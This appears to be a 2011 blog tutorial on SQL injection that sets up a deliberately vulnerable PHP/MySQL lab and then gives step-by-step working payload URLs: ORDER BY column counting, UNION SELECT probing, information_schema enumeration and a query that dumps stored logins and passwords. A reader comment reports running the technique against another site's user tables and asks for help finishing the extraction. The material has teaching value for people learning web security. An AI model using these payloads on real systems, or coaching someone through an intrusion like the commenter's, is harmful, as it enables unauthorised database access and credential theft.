Friday, February 18, 2011

SQL Injection Tutorial




I.            Introduction:
In the following article I'm not trying to introduce anything new.
As a pentester and a Web Developer I can say that more than 90% of nowadays Web Application seems to be vulnerable to SQLInjection and many other kind of vulnerabilities,

                  II.            What is SQL Injection?
SQL Injection is composed of two words; let's start with the second one:
·       Injection: if we look in the dictionary, we'll find that Injection means the act of putting one thing into another.
·       SQL: Structured Query Language.

According to Wikipedia, SQL Injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL Injection attacks are also known as SQL insertion attacks.

              III.            SQL Injection Example:
·        Requirement:
       EasyPHP, or WAMP or …….
       A database
       A Vulnerable PHP script

Ok, let's start,
First of all you have to create a user, a database, and populate the database with some test data. 
The following SQL script will do all the job, (Use phpMyAdmin).


CREATE DATABASE SQLInjection;

CREATE USER 'test'@'localhost' IDENTIFIED BY 'test';

GRANT ALL PRIVILEGES ON `SQLInjection` . * TO 'test'@'localhost';

USE SQLInjection;

CREATE TABLE `users`
 (
      `login` varchar(20) NOT NULL,
      `password` varchar(20) NOT NULL,
      PRIMARY KEY  (`login`)
 );
 
 CREATE TABLE `articles`
 (
      `id` int NOT NULL,
      `article` varchar(200) NOT NULL,
      PRIMARY KEY  (`id`)
 );
 

INSERT INTO users VALUES
 ('user1', 'password'),
 ('user2', 'password');
 
 INSERT INTO articles VALUES
 ('1', 'SQL Injection tutorial SQL Injection tutorial SQL Injection tutorial SQL Injection tutorial'),
 ('2', 'SQL Injection tutorial SQL Injection tutorial SQL Injection tutorial SQL Injection tutorial');
 

 The next step is to create a (Vulnerable) PHP file (SQLInjection.php):





Let's analyze the script: 
Line 21; look at the MySQL query:
$req=mysql_query("select * from articles where id=$id");


Now look at line 9:
$id=$_GET['id'];


The variable $id is passed via the URL, and can be altered || controlled by the user, as said in the definition:
The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed.

What all this means??????
If id=1 the URL looks like:
http://localhost/SQLInjection.php?id=1


and the query:
select * from articles where id=1


everything is fine.
What if we change the parameter id, the URL will looks like:
http://localhost/SQLInjection.php?id=1'


         And the query:
select * from articles where id=1'

Now open the URL in the browser and run the query in phpMyAdmin; The output is the same:  You have an error in your SQL syntax.
Here, we see that the user input is appended to the SQL query.
We can conclude and say that the PHP script may be vulnerable to a SQLInjection, due to unsanitized || unfiltered user input.
In a real SQLInjection attack the URL will look like :
http://localhost/SQLInjection.php?id=1 + SQL Query

           IV.            SQLInjection exploitation:

After finding the vulnerability, the process of exploitation starts, and we can divide it to multiple steps:


1.     Getting Number of Columns:
There are a couple of ways that people do to get the number of columns; personally I use "ORDER BY n", ok let's start whit n=1 to be sure that the PHP script is VULNERABLE: 
http://localhost/SQLInjection.php?id=1 ORDER BY 1— 

Note:
    If you get an error, then the script (site) may be INVULNERABLE or a little bit hard to exploit.


In our example with n=1, we have no error, now n=50:
http://localhost/SQLInjection.php?id=1 ORDER BY 50— 


If you don't get any error, then you have to increment n;
Else, you have to decrement n till you got no error,
In our case the number of columns is 2.
 

2.     Getting Visible (VULNERABLE) Columns:
While visiting the URL:
http://localhos/SQLInjection.php?id=1
         the SQL query looks like: 
select * from articles where id=1
         Now all you have to do is to add (INJECT) a SQL query in the URL parameter using the MySQL Operator UNION.
Don't forget that the number of columns is 2, SO the URL will looks like:
http://localhos/SQLInjection.php?id=-1 union select 1,2
 
        And we got the visible columns ==> 1 and 2.  
 
Note:
Why id= -1  ????
The id must be invalid so the query (select * from articles where id=-1) returns nothing.



    3.     Getting Tables and Columns:

Time to get max of information about the target, How we gonna do it ????
We'll use what is called Information Functions, and the first thing we have to know is the MySQL version, use the function version():
http://localhos/SQLInjection.php?id=-1 union select 1,version()--


Now if the version<5.x.x then you have to figure out (brute force) tables and column names, and if the version>5.x.x, the INFORMATION_SCHEMA database will help us to find what we are looking for.

  • Getting Tables:
http://localhost/SQLInjection.php?id=-1+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()--
  • Getting Columns: 
http://localhost/SQLInjection.php?id=-1+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_schema=database()--


Once you have tables and columns names, a simple query and it's done:
http://localhost/SQLInjection.php?id=-1+union+select+1,concat_ws(0x3a,login,password)+from+users--

     You can also use group_concat instead of concat_ws to retrive all rows:

Put in your mind that HACKING is illegal; use this content for education purposes only.
I cannot be held responsible for any damage caused by improper use.

Peace.

2 comments:

Unknown said...

Dear,
I have fetched the tables which are in this
order
addcity,addstate,adduser,afterpayment,category,cms,cmscontent,......
and the columns are in this
id,title,stateid, sid,entdate,title, id,userid,userpwd,id,strupdate,cid,entdate,title,pid,id,name,plink....
now the last query is not running it sent an error my sql fetch warging
guide me what to do now

Anonymous said...

0x3C68313E205468616E6B73203C2F68313E

Post a Comment